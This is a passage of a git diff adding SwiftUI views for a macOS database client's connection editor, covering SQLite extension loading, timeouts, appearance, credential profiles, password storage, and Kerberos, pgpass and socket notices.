Button(String(localized: "Add Extension…")) { + Task { await add() } + } + .accessibilityIdentifier("connection-extensions-add") + } label: { + if let issue = store.revealedIssue(for: row) { + NoticeLabel(issue.message, severity: issue.noticeSeverity) + } else if model.rows.isEmpty { + Text(String(localized: "No Extensions")) + .foregroundStyle(.secondary) + } else { + Text("^[\(model.rows.count) Extension](inflect: true)") + } + } + .onAppear(perform: reload) + .onChange(of: value.wrappedValue) { _ in reload() } + .onEditorFocusRequest(row, store: store) { focusedEntry = model.rows.first?.id } + } + + private func entryPointBinding(for id: UUID) -> Binding { + Binding( + get: { model.rows.first { $0.id == id }?.entryPoint ?? "" }, + set: { newValue in + model.setEntryPoint(newValue, for: id) + commit() + } + ) + } + + private func reload() { + guard !model.matches(encoded: value.wrappedValue) else { return } + model = LoadableExtensionListModel(encoded: value.wrappedValue) + } + + private func commit() { + store.noteEdited(row) + let encoded = model.encoded + guard value.wrappedValue != encoded else { return } + value.wrappedValue = encoded + } + + private func move(_ id: UUID, by offset: Int) { + guard let index = model.rows.firstIndex(where: { $0.id == id }) else { return } + let target = index + offset + guard model.rows.indices.contains(target) else { return } + model.move(fromOffsets: IndexSet(integer: index), toOffset: offset > 0 ? target + 1 : target) + commit() + } + + private func remove(_ id: UUID) { + _ = model.remove([id]) + commit() + } + + private func add() async { + let paths = await chooseFiles( + title: String(localized: "Add Extension"), + prompt: String(localized: "Add"), + message: String(localized: "Choose the SQLite extension libraries to load when this connection opens."), + allowsMultipleSelection: true + ) + guard !paths.isEmpty else { return } + _ = model.add(paths: paths) + commit() + } + + // The entry keeps its entry point and its place; only the library it loads changes. + private func changeFile(of id: UUID) async { + guard let entry = model.rows.first(where: { $0.id == id }) else { return } + let paths = await chooseFiles( + title: String(localized: "Change File"), + prompt: String(localized: "Choose"), + message: String(localized: "Choose the SQLite extension library to load in its place."), + allowsMultipleSelection: false, + currentPath: entry.path + ) + guard let path = paths.first else { return } + model.setPath(path, for: id) + commit() + } + + private func chooseFiles( + title: String, + prompt: String, + message: String, + allowsMultipleSelection: Bool, + currentPath: String = "" + ) async -> [String] { + let panel = NSOpenPanel() + let validator = AdvancedExtensionPanelValidator() + panel.title = title + panel.prompt = prompt + panel.message = message + panel.allowsMultipleSelection = allowsMultipleSelection + panel.canChooseDirectories = false + panel.resolvesAliases = false + panel.allowedContentTypes = AdvancedExtensionPanelValidator.contentTypes + panel.directoryURL = DatabaseFileLocation(path: currentPath).existingFolder + panel.delegate = validator + let response = await EditorFilePanel.present(panel, in: EditorFilePanel.window(for: store)) + withExtendedLifetime(validator) {} + guard response == .OK else { return [] } + return panel.urls.map { $0.path(percentEncoded: false) } + } +} + +// The panel's content types only dim other files and `.so` has no type of its own, so a pick is checked here too. +private final class AdvancedExtensionPanelValidator: NSObject, NSOpenSavePanelDelegate { + static let contentTypes: [UTType] = [ + UTType(filenameExtension: "dylib"), + UTType(filenameExtension: "so"), + UTType(filenameExtension: "bundle") + ] + .compactMap { $0 } + + func panel(_ sender: Any, validate url: URL) throws { + guard !MachOFile.isMachO(atPath: url.path(percentEncoded: false)) else { return } + throw NSError( + domain: NSCocoaErrorDomain, + code: NSFileReadCorruptFileError, + userInfo: [ + NSLocalizedDescriptionKey: String( + format: String(localized: "“%@” isn’t a library."), + url.lastPathComponent + ) + ] + ) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift new file mode 100644 index 0000000000..07e86ef31c --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedFacetView.swift @@ -0,0 +1,139 @@ +import SwiftUI +import TableProAutocomplete +import TableProPluginKit + +struct AdvancedFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Form { + ForEach(sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + .id(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = footer(for: section) { + Text(verbatim: footer) + } + } + } + } + .formStyle(.grouped) + .scrollsToEditorFocus(.advanced, store: store) + } + + private var sections: [SectionLayout] { + store.layout.facet(.advanced)?.sections ?? [] + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.connectTimeout): + EditorOptionalNumberRow( + String(localized: "Connect Timeout"), + value: store.binding(\.options.connectTimeoutSeconds), + defaultValue: ConnectionTimeoutPolicy.defaultConnectTimeoutSeconds, + range: DatabaseConnection.connectTimeoutSecondsRange, + unit: String(localized: "seconds"), + row: row, + store: store + ) + .help(connectTimeoutHelp) + case .builtIn(.queryTimeout): + AdvancedQueryTimeoutRow(row: row, store: store, generalSettings: store.services.appSettings.generalSlice) + case .builtIn(.binaryInlineLimit): + EditorOptionalNumberRow( + String(localized: "Binary Value Limit"), + value: store.binding(\.options.binaryInlineLimitKilobytes), + defaultValue: UnloadedValuePlan.defaultInlineByteLimit / 1_024, + range: DatabaseConnection.binaryInlineLimitKilobytesRange, + unit: String(localized: "KB"), + row: row, + store: store + ) + case .builtIn(.identifierCase): + Picker(selection: store.tracking(store.binding(\.options.completionIdentifierCase), row: row)) { + ForEach(SQLIdentifierCase.allCases, id: \.self) { identifierCase in + Text(verbatim: Self.title(for: identifierCase)).tag(identifierCase) + } + } label: { + EditorRowLabel(String(localized: "Identifier Case"), row: row, store: store) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + case .builtIn(.localOnly): + Toggle(isOn: store.tracking(store.binding(\.options.localOnly), row: row)) { + EditorRowLabel(String(localized: "Local Only"), row: row, store: store) + } + .accessibilityIdentifier(row.accessibilityIdentifier) + .editorRowFocus(row, store: store) + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store) + default: + EmptyView() + } + } + + private func footer(for section: SectionLayout) -> String? { + guard section.rows.contains(.builtIn(.localOnly)), store.removesSyncedSecretsOnSave else { + return section.footer + } + let removal = String(localized: "Saving removes its passwords from iCloud Keychain. Your other devices will need them entered again.") + return [section.footer, removal].compactMap { $0 }.joined(separator: "\n") + } + + // A file database has no network setup to wait for, only the open. + private var connectTimeoutHelp: String { + guard store.traits.connectionMode != .fileBased else { + return String( + format: String(localized: "Maximum time to open the database. Leave blank to use the %d-second default."), + ConnectionTimeoutPolicy.defaultConnectTimeoutSeconds + ) + } + return String( + format: String(localized: """ + Maximum time for TCP, TLS, authentication, tunnel, and proxy setup. \ + Leave blank to use the %d-second default. + """), + ConnectionTimeoutPolicy.defaultConnectTimeoutSeconds + ) + } + + private static func title(for identifierCase: SQLIdentifierCase) -> String { + switch identifierCase { + case .asStored: return String(localized: "As Stored") + case .lower: return String(localized: "lowercase") + case .upper: return String(localized: "UPPERCASE") + case .matchTyped: return String(localized: "Match What I Type") + } + } +} + +// Observes Settings itself: the inherited limit changes there while this window stays open. +private struct AdvancedQueryTimeoutRow: View { + let row: EditorRow + @ObservedObject var store: ConnectionEditorStore + @ObservedObject var generalSettings: SettingsSlice + + var body: some View { + let globalSeconds = generalSettings.value.queryTimeoutSeconds + EditorOptionalNumberRow( + String(localized: "Query Timeout"), + value: store.binding(\.options.queryTimeoutSeconds), + defaultValue: nil, + range: DatabaseConnection.queryTimeoutSecondsRange, + unit: String(localized: "seconds"), + row: row, + store: store, + subtitle: QueryTimeoutInheritance.subtitle(globalSeconds: globalSeconds), + prompt: QueryTimeoutInheritance.prompt(globalSeconds: globalSeconds) + ) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AdvancedListEntry.swift b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedListEntry.swift new file mode 100644 index 0000000000..ee6fec5b4a --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AdvancedListEntry.swift @@ -0,0 +1,69 @@ +import SwiftUI + +// One entry of an ordered list as one row of its section, since a List nested in a grouped Form does not scroll: its +// title, the file's path under it, an optional value, and its commands in a trailing menu. +struct AdvancedListEntry: View { + let path: String + let notice: String? + let actionsLabel: String + let identifier: String + let canMoveUp: Bool + let canMoveDown: Bool + let onMove: (Int) -> Void + let onChangeFile: () -> Void + let onRemove: () -> Void + @ViewBuilder let title: () -> Title + @ViewBuilder let value: () -> Value + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + value() + actions + } + } label: { + title() + Text(verbatim: (path as NSString).abbreviatingWithTildeInPath) + .lineLimit(1) + .truncationMode(.middle) + .help(path) + if let notice { + NoticeLabel(notice) + } + } + .accessibilityElement(children: .contain) + .accessibilityActions { + if canMoveUp { + Button(String(localized: "Move Up")) { onMove(-1) } + } + if canMoveDown { + Button(String(localized: "Move Down")) { onMove(1) } + } + } + } + + private var actions: some View { + Menu { + Button(String(localized: "Change File…"), action: onChangeFile) + .accessibilityIdentifier("\(identifier)-change-file") + Divider() + Button(String(localized: "Move Up")) { onMove(-1) } + .disabled(!canMoveUp) + .accessibilityIdentifier("\(identifier)-move-up") + Button(String(localized: "Move Down")) { onMove(1) } + .disabled(!canMoveDown) + .accessibilityIdentifier("\(identifier)-move-down") + Divider() + Button(String(localized: "Remove"), role: .destructive, action: onRemove) + .accessibilityIdentifier("\(identifier)-remove") + } label: { + Image(systemName: "ellipsis.circle") + } + .menuStyle(.borderlessButton) + .menuIndicator(.hidden) + .fixedSize() + .help(String(localized: "Actions")) + .accessibilityLabel(actionsLabel) + .accessibilityIdentifier("\(identifier)-actions") + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift new file mode 100644 index 0000000000..b6a51a32a7 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/AppearanceFacetView.swift @@ -0,0 +1,114 @@ +// +// AppearanceFacetView.swift +// TablePro +// + +import AppKit +import SwiftUI + +struct AppearanceFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + init(store: ConnectionEditorStore) { + self.store = store + } + + var body: some View { + Form { + if let facet = store.layout.facet(.appearance) { + ForEach(facet.sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row) + .id(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = section.footer { + Text(verbatim: footer) + } + } + } + } + } + .formStyle(.grouped) + .scrollsToEditorFocus(.appearance, store: store) + } + + @ViewBuilder + private func rowView(_ row: EditorRow) -> some View { + switch row { + case .builtIn(.icon): + LabeledContent { + SymbolWell( + iconName: store.tracking(store.binding(\.appearance.iconName), row: row), + subject: .connection(store.draft.type), + color: store.draft.appearance.color, + accessibilityIdentifier: BuiltInRow.icon.accessibilityIdentifier + ) + } label: { + EditorRowLabel(String(localized: "Icon"), row: row, store: store) + } + .editorRowFocus(row, store: store) + case .builtIn(.color): + AppearanceColorRow(store: store) + case .builtIn(.tags): + // The editor names its tag menu `connection-form-tags` and confirms a delete that reaches every connection. + LabeledContent { + ConnectionTagEditor(tagIds: store.tracking(store.binding(\.appearance.tagIds), row: row)) + } label: { + EditorRowLabel(String(localized: "Tags"), row: row, store: store) + } + .editorRowFocus(row, store: store) + case .builtIn(.group): + LabeledContent { + ConnectionGroupPicker(selectedGroupId: store.tracking(store.binding(\.appearance.groupId), row: row)) + .accessibilityElement(children: .contain) + .accessibilityIdentifier(BuiltInRow.group.accessibilityIdentifier) + } label: { + EditorRowLabel(String(localized: "Group"), row: row, store: store) + } + .editorRowFocus(row, store: store) + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store) + default: + EmptyView() + } + } +} + +// The colour shows as the tile it paints in the connection list, a tinted symbol per item rather than a swatch. +struct AppearanceColorRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Picker(selection: store.tracking(store.binding(\.appearance.color), row: .builtIn(.color))) { + item(.none) + Divider() + ForEach(ConnectionColor.allCases.filter { !$0.isDefault }) { color in + item(color) + } + } label: { + EditorRowLabel(String(localized: "Color"), row: .builtIn(.color), store: store) + } + .accessibilityIdentifier(BuiltInRow.color.accessibilityIdentifier) + .editorRowFocus(.builtIn(.color), store: store) + } + + @ViewBuilder + private func item(_ color: ConnectionColor) -> some View { + if let image = ConnectionLibrarySymbols.image(systemName: color.isDefault ? "app.dashed" : "app.fill", color: color) { + Label { + Text(verbatim: color.displayName) + } icon: { + Image(nsImage: image) + } + .tag(color) + } else { + Text(verbatim: color.displayName).tag(color) + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift new file mode 100644 index 0000000000..901f057c96 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralAuthenticationRows.swift @@ -0,0 +1,303 @@ +// +// GeneralAuthenticationRows.swift +// TablePro +// + +import Network +import SwiftUI +import TableProPluginKit + +// The pop-up carries the profile commands as its last items, as a Team or printer pop-up does, so the row keeps +// one control and no button lands on a line of its own. The commands and their order match SSH Profile's. +struct GeneralCredentialsRows: View { + @ObservedObject var store: ConnectionEditorStore + + @State private var pickerGeneration = 0 + @State private var profileSheet: ProfileSheet? + + private enum Choice: Hashable { + case mode(CredentialMode) + case saveAsProfile + case editProfile + case newProfile + case manageProfiles + } + + private enum ProfileSheet: Identifiable { + case create + case edit(CredentialProfile) + + var id: String { + switch self { + case .create: return "create" + case .edit(let profile): return "edit-\(profile.id.uuidString)" + } + } + } + + private var row: EditorRow { .builtIn(.credentialProfile) } + + var body: some View { + if store.credentialProfileIsMissing { + LabeledContent { + HStack(spacing: 8) { + picker + .labelsHidden() + .fixedSize() + Button(String(localized: "Enter Credentials Here")) { + store.switchToInlineCredentials() + } + .accessibilityIdentifier("credential-profile-relink") + } + } label: { + EditorRowLabel(String(localized: "Credentials"), row: row, store: store) + } + .editorRowFocus(row, store: store) + } else { + picker + .editorRowFocus(row, store: store) + } + + if let profile = store.selectedCredentialProfile { + LabeledContent(String(localized: "Username"), value: Self.displayUsername(profile)) + LabeledContent(String(localized: "Password"), value: profile.passwordMode.displayName) + if case .source(let source) = profile.passwordMode { + PasswordSourceTestView( + source: source, + context: { store.passwordSourceContext() }, + leaseOwner: { profile.id }, + refusal: { + store.services.credentialProfileStorage.storeIsTrusted + ? nil : PasswordSourceResolver.ResolutionError.profileStoreNotTrusted + } + ) + } + } + } + + private var picker: some View { + Picker(selection: choice) { + Text(String(localized: "Enter Below")).tag(Choice.mode(.inline)) + if !store.context.credentialProfiles.isEmpty { + Divider() + ForEach(store.context.credentialProfiles) { profile in + Text(verbatim: profile.name).tag(Choice.mode(.profile(id: profile.id))) + } + } + // A selection with no matching item reads as nothing chosen, so a profile this Mac lacks gets one. + if store.credentialProfileIsMissing { + Text(String(localized: "Missing Profile")).tag(Choice.mode(store.draft.credentials.mode)) + } + Divider() + if canSaveAsProfile { + Text(String(localized: "Save These as a Profile…")).tag(Choice.saveAsProfile) + } + if store.selectedCredentialProfile != nil { + Text(String(localized: "Edit Profile…")).tag(Choice.editProfile) + } + Text(String(localized: "New Profile…")).tag(Choice.newProfile) + Text(String(localized: "Manage Profiles…")).tag(Choice.manageProfiles) + } label: { + EditorRowLabel(String(localized: "Credentials"), row: row, store: store) + } + .id(pickerGeneration) + .accessibilityIdentifier(row.accessibilityIdentifier) + .sheet(item: $profileSheet) { sheet in + profileEditor(sheet) + } + } + + // The store links a profile made here, as it does one saved from these values; an edit or a delete reaches it as + // a profiles change. + @ViewBuilder + private func profileEditor(_ sheet: ProfileSheet) -> some View { + switch sheet { + case .create: + CredentialProfileEditorSheet( + existingProfile: nil, + initialDatabaseType: store.draft.type, + onSave: { store.didSaveCredentialProfile($0) } + ) + case .edit(let profile): + CredentialProfileEditorSheet(existingProfile: profile, initialDatabaseType: store.draft.type) + } + } + + private var canSaveAsProfile: Bool { + !store.draft.credentials.usesProfile && store.hasPromotableCredentials + } + + // A command item leaves the selection where it was; the new identity redraws the pop-up on it. + private var choice: Binding { + Binding( + get: { .mode(store.draft.credentials.mode) }, + set: { newValue in + switch newValue { + case .mode(let mode): + store.noteEdited(row) + store.setCredentialMode(mode) + case .saveAsProfile: + pickerGeneration += 1 + store.presentSaveCredentialsAsProfile() + case .editProfile: + pickerGeneration += 1 + if let profile = store.selectedCredentialProfile { + profileSheet = .edit(profile) + } + case .newProfile: + pickerGeneration += 1 + profileSheet = .create + case .manageProfiles: + pickerGeneration += 1 + WindowOpener.shared.openSettings(tab: .profiles) + } + } + ) + } + + private static func displayUsername(_ profile: CredentialProfile) -> String { + let trimmed = profile.username.trimmingCharacters(in: .whitespaces) + return trimmed.isEmpty ? String(localized: "None") : trimmed + } +} + +@MainActor +private func passwordTitle(_ store: ConnectionEditorStore) -> String { + store.traits.connectionMode == .apiOnly ? String(localized: "API Token") : String(localized: "Password") +} + +// The field takes the row's width; where the password is kept is the row above it, and Ask Every Time drops the field. +struct GeneralPasswordRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + EditorRevealableSecureRow( + passwordTitle(store), + text: store.binding(\.credentials.password), + kind: .password, + requiresAuthentication: store.draft.credentials.storedPasswordState != .absent, + row: .builtIn(.password), + store: store + ) + } +} + +// Where the password is kept, or with a source set in connections.json whether TablePro asks for it instead. +struct GeneralPasswordModeRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + if store.draft.credentials.passwordSource != nil { + Toggle(isOn: store.tracking(store.passwordPromptBinding, row: .builtIn(.passwordMode))) { + EditorRowLabel( + store.traits.connectionMode == .apiOnly + ? String(localized: "Prompt for API Token") + : String(localized: "Prompt for Password"), + row: .builtIn(.passwordMode), + store: store + ) + } + .accessibilityIdentifier(BuiltInRow.passwordMode.accessibilityIdentifier) + .editorRowFocus(.builtIn(.passwordMode), store: store) + } else { + GeneralPasswordStoragePicker(store: store) + .editorRowFocus(.builtIn(.passwordMode), store: store) + } + } +} + +struct GeneralPasswordStoragePicker: View { + @ObservedObject var store: ConnectionEditorStore + + private var title: String { + store.traits.connectionMode == .apiOnly ? String(localized: "Save API Token") : String(localized: "Save Password") + } + + var body: some View { + Picker(selection: store.tracking(store.passwordPromptBinding, row: .builtIn(.passwordMode))) { + Text(String(localized: "In Keychain")).tag(false) + Text(String(localized: "Ask Every Time")).tag(true) + } label: { + EditorRowLabel(title, row: .builtIn(.passwordMode), store: store) + } + .accessibilityIdentifier(BuiltInRow.passwordMode.accessibilityIdentifier) + } +} + +struct GeneralPasswordSourceRows: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + if let source = store.draft.credentials.passwordSource { + PasswordSourceSummary(title: passwordTitle(store), source: source) + PasswordSourceTestView( + source: source, + context: { store.passwordSourceContext() }, + leaseOwner: { store.isNew ? nil : store.connectionId }, + refusal: { + store.storage.storeIsTrusted ? nil : PasswordSourceResolver.ResolutionError.storeNotTrusted + } + ) + } + } +} + +struct GeneralKerberosNote: View { + @ObservedObject var store: ConnectionEditorStore + + private var usesWindowsAuthentication: Bool { + ConnectionEditorEngine.usesWindowsAuthentication(store.draft, store.traits) + } + + private var hostIsIPAddress: Bool { + let host = ConnectionEditorEngine.resolvedHost(store.draft, store.traits).trimmingCharacters(in: .whitespaces) + return IPv4Address(host) != nil || IPv6Address(host) != nil + } + + var body: some View { + NoticeLabel( + String(localized: "Leave the principal and password blank to use your existing Kerberos ticket. Run kinit user@REALM.COM in Terminal first if you don't have one."), + severity: .info + ) + .accessibilityElement(children: .combine) + .accessibilityIdentifier(BuiltInRow.kerberosNote.accessibilityIdentifier) + // MariaDB's server names its own principal, so only these two take it from the host. + if hostIsIPAddress, usesWindowsAuthentication || store.traits.pluginTypeId == "PostgreSQL" { + NoticeLabel(hostWarning) + } + } + + private var hostWarning: String { + if usesWindowsAuthentication { + return String(localized: "Windows Authentication needs the server's hostname, not an IP address. Kerberos service principals aren't registered against IP addresses.") + } + return String(localized: "Kerberos needs the server's hostname, not an IP address. Service principals aren't registered against IP addresses.") + } +} + +struct GeneralPgpassStatus: View { + let status: PgpassStatus + + var body: some View { + if let notice { + NoticeLabel(notice.text, severity: notice.severity) + .accessibilityElement(children: .combine) + .accessibilityIdentifier(BuiltInRow.pgpassStatus.accessibilityIdentifier) + } + } + + private var notice: (text: String, severity: NoticeSeverity)? { + switch status { + case .notChecked: + return nil + case .fileNotFound: + return (String(localized: "~/.pgpass not found"), .warning) + case .badPermissions: + return (String(localized: "~/.pgpass has incorrect permissions (needs chmod 0600)"), .warning) + case .matchFound: + return (String(localized: "~/.pgpass found, matching entry exists"), .success) + case .noMatch: + return (String(localized: "~/.pgpass found, no matching entry"), .warning) + } + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift new file mode 100644 index 0000000000..6f2e9211cc --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralConnectionRows.swift @@ -0,0 +1,194 @@ +// +// GeneralConnectionRows.swift +// TablePro +// + +import AppKit +import SwiftUI + +struct GeneralTypeRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + LabeledContent { + HStack(spacing: 8) { + ConnectionTile( + type: store.draft.type, + iconName: store.draft.appearance.iconName, + identityColor: store.draft.appearance.color.isDefault ? nil : store.draft.appearance.color, + size: 22 + ) + // A new identity per type: the row's accessibility value kept the first type's name after a retype. + Text(verbatim: store.traits.displayName) + .foregroundStyle(.primary) + .id(store.draft.type) + Button(String(localized: "Change…")) { + store.isChoosingType = true + } + .accessibilityIdentifier(BuiltInRow.type.accessibilityIdentifier) + } + } label: { + EditorRowLabel(String(localized: "Type"), row: .builtIn(.type), store: store) + } + .accessibilityValue(Text(verbatim: store.traits.displayName)) + .editorRowFocus(.builtIn(.type), store: store) + } +} + +struct GeneralEnvironmentRow: View { + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + Picker(selection: store.tracking(store.environmentBinding, row: .builtIn(.environment))) { + ForEach(ConnectionEnvironment.allCases) { environment in + if let image = Self.symbol(for: environment) { + Label { + Text(verbatim: environment.displayName) + } icon: { + Image(nsImage: image) + } + .tag(environment) + } else { + Text(verbatim: environment.displayName).tag(environment) + } + } + } label: { + EditorRowLabel(String(localized: "Environment"), row: .builtIn(.environment), store: store) + } + .accessibilityIdentifier(BuiltInRow.environment.accessibilityIdentifier) + .editorRowFocus(.builtIn(.environment), store: store) + } + + // A menu item draws a template image in its own text color, so the tint is baked into a non-template copy. + private static func symbol(for environment: ConnectionEnvironment) -> NSImage? { + guard let name = environment.symbolName else { return nil } + let tint: NSColor = environment == .local ? .secondaryLabelColor : NSColor(environment.tint) + let image = NSImage(systemSymbolName: name, accessibilityDescription: nil)? + .withSymbolConfiguration(NSImage.SymbolConfiguration(paletteColors: [tint])) + image?.isTemplate = false + return image + } +} + +struct GeneralSocketPathRow: View { + @ObservedObject var store: ConnectionEditorStore + + private var prompt: String { store.traits.defaultLocalSocketPath ?? "" } + + var body: some View { + if store.traits.localSocketIsDirectory { + LabeledContent { + SuggestionComboBox( + suggestions: { PostgreSQLLocalSocket.commonDirectories }, + placeholder: prompt, + accessibilityLabel: String(localized: "Socket"), + accessibilityIdentifier: BuiltInRow.localSocketPath.accessibilityIdentifier, + value: Binding( + get: { store.draft.localSocketPath }, + set: { newValue in + store.noteEdited(.builtIn(.localSocketPath)) + store.update { $0.localSocketPath = newValue } + } + ) + ) + } label: { + EditorRowLabel(String(localized: "Socket"), row: .builtIn(.localSocketPath), store: store) + } + .editorRowFocus(.builtIn(.localSocketPath), store: store) + } else { + EditorTextRow( + String(localized: "Socket"), + text: store.binding(\.localSocketPath), + prompt: prompt, + row: .builtIn(.localSocketPath), + store: store + ) + } + } +} + +// Advisory only: the server may start after the connection is saved. +enum GeneralSocketStatus { + static func message(status: SocketFileStatus?, socketFile: String?, isDirectory: Bool) -> String { + isDirectory ? directoryMessage(status: status, socketFile: socketFile) : fileMessage(status: status) + } + + private static func fileMessage(status: SocketFileStatus?) -> String { + switch status { + case .missing: + return String(localized: "Nothing is at this path. Start the server, or check the path.") + case .notSocket: + return String(localized: "This file is not a socket.") + case .socket, .none: + return String(localized: "The server's socket file on this Mac. SELECT @@socket in the mysql client shows it.") + } + } + + private static func directoryMessage(status: SocketFileStatus?, socketFile: String?) -> String { + guard let socketFile else { + return String(localized: """ + The folder with the server's socket, or the socket file. SHOW unix_socket_directories \ + in psql lists the folders. + """) + } + let file = (socketFile as NSString).abbreviatingWithTildeInPath + switch status { + case .missing: + return String( + format: String(localized: "Nothing is at %@. Start the server, or check the folder and the port."), + file + ) + case .notSocket: + return String(format: String(localized: "%@ is not a socket."), file) + case .socket, .none: + return String( + format: String(localized: "Connects to %@. The port names the socket file in the folder."), + file + ) + } + } +} + +struct GeneralPastedURLNoticeRow: View { + let notice: PastedURLNotice + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + LabeledContent { + Button(String(localized: "Undo")) { + store.undoPastedURL() + } + .accessibilityIdentifier("connection-form-pasted-url-undo") + } label: { + NoticeLabel(notice.message, severity: .info) + .accessibilityElement(children: .combine) + .accessibilityIdentifier("connection-form-pasted-url-notice") + } + } +} + +struct GeneralPortTLSNoticeRow: View { + let notice: PortTLSNotice + @ObservedObject var store: ConnectionEditorStore + + var body: some View { + if let actionTitle = notice.actionTitle { + LabeledContent { + Button(actionTitle) { + store.selectSSLMode(notice.impliedMode) + } + .accessibilityIdentifier("connection-form-port-tls-use") + } label: { + noticeLabel(severity: .warning) + } + } else { + noticeLabel(severity: .info) + } + } + + private func noticeLabel(severity: NoticeSeverity) -> some View { + NoticeLabel(notice.message, severity: severity) + .accessibilityElement(children: .combine) + .accessibilityIdentifier(BuiltInRow.portTLSNotice.accessibilityIdentifier) + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift b/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift new file mode 100644 index 0000000000..06381c8498 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Facets/GeneralFacetView.swift @@ -0,0 +1,188 @@ +// +// GeneralFacetView.swift +// TablePro +// + +import AppKit +import SwiftUI +import TableProPluginKit + +struct GeneralFacetView: View { + @ObservedObject var store: ConnectionEditorStore + + @Environment(\.undoManager) private var undoManager + + init(store: ConnectionEditorStore) { + self.store = store + } + + var body: some View { + Form { + if let facet = store.layout.facet(.general) { + ForEach(facet.sections) { section in + Section { + ForEach(section.rows, id: \.self) { row in + rowView(row, in: section) + .id(row) + } + } header: { + if let title = section.title { + Text(verbatim: title) + } + } footer: { + if let footer = section.footer { + Text(verbatim: footer) + } else if let status = socketStatus(for: section) { + Text(verbatim: status) + .accessibilityIdentifier("connection-form-socket-status") + } + } + } + } + } + .formStyle(.grouped) + .scrollsToEditorFocus(.general, store: store) + .onAppear { store.placeInitialFocusIfNeeded() } + .onChange(of: store.pastedURLNotice?.id) { id in + guard id != nil else { return } + redrawHostAfterPaste() + } + } + + // A field being edited keeps the text it was given, so Host would show the pasted URL until it lost focus. + // Ending the edit redraws it from the draft, and the focus goes straight back. + private func redrawHostAfterPaste() { + guard let window = store.window, window.firstResponder is NSTextView else { return } + DispatchQueue.main.async { + guard window.makeFirstResponder(nil) else { return } + store.focus(facet: .general, row: .builtIn(.host)) + } + } + + private func socketStatus(for section: SectionLayout) -> String? { + guard section.id == "connection", store.usesLocalSocket else { return nil } + return GeneralSocketStatus.message( + status: store.localSocketFileStatus, + socketFile: store.localSocketEndpoint?.socketFile, + isDirectory: store.traits.localSocketIsDirectory + ) + } + + @ViewBuilder + private func rowView(_ row: EditorRow, in section: SectionLayout) -> some View { + switch row { + case .plugin(let fieldID): + PluginFieldRow(fieldID: fieldID, store: store, title: pluginTitle(fieldID, in: section)) + .disabled(store.isDisabled(row)) + case .builtIn(let builtIn): + builtInRow(builtIn, in: section) + } + } + + // A plugin's method picker labelled like its section would read "Authentication" under "Authentication". + private func pluginTitle(_ fieldID: String, in section: SectionLayout) -> String? { + guard let label = store.pluginField(fieldID)?.label, let title = section.title, + label.caseInsensitiveCompare(title) == .orderedSame + else { return nil } + return String(localized: "Method") + } + + @ViewBuilder + private func builtInRow(_ row: BuiltInRow, in section: SectionLayout) -> some View { + switch row { + case .name: + EditorTextRow( + String(localized: "Name"), + text: store.binding(\.name), + prompt: store.namePrompt, + row: .builtIn(.name), + store: store + ) + case .type: + GeneralTypeRow(store: store) + case .environment: + GeneralEnvironmentRow(store: store) + case .endpointKind: + Picker(selection: store.tracking(store.endpointBinding, row: .builtIn(.endpointKind))) { + Text(String(localized: "Host and Port")).tag(ConnectionDraft.Endpoint.hostAndPort) + Text(String(localized: "Unix Socket")).tag(ConnectionDraft.Endpoint.localSocket) + } label: { + EditorRowLabel(String(localized: "Address"), row: .builtIn(.endpointKind), store: store) + } + .accessibilityIdentifier(BuiltInRow.endpointKind.accessibilityIdentifier) + .editorRowFocus(.builtIn(.endpointKind), store: store) + case .localSocketPath: + GeneralSocketPathRow(store: store) + case .host: + EditorTextRow( + String(localized: "Host"), + text: store.hostBinding(undoManager: undoManager), + prompt: store.traits.defaultHost ?? "localhost", + row: .builtIn(.host), + store: store + ) + .disabled(store.isDisabled(.builtIn(.host))) + if let notice = store.pastedURLNotice { + GeneralPastedURLNoticeRow(notice: notice, store: store) + } + case .port: + EditorTextRow( + String(localized: "Port"), + text: store.portBinding, + prompt: store.traits.defaultPortText, + row: .builtIn(.port), + store: store + ) + .disabled(store.isDisabled(.builtIn(.port))) + case .portTLSNotice: + if let notice = store.portTLSNotice { + GeneralPortTLSNoticeRow(notice: notice, store: store) + } + case .databaseFile: + EditorDatabaseFileRow( + String(localized: "File Path"), + path: store.binding(\.database), + prompt: databaseFilePrompt, + row: .builtIn(.databaseFile), + store: store, + 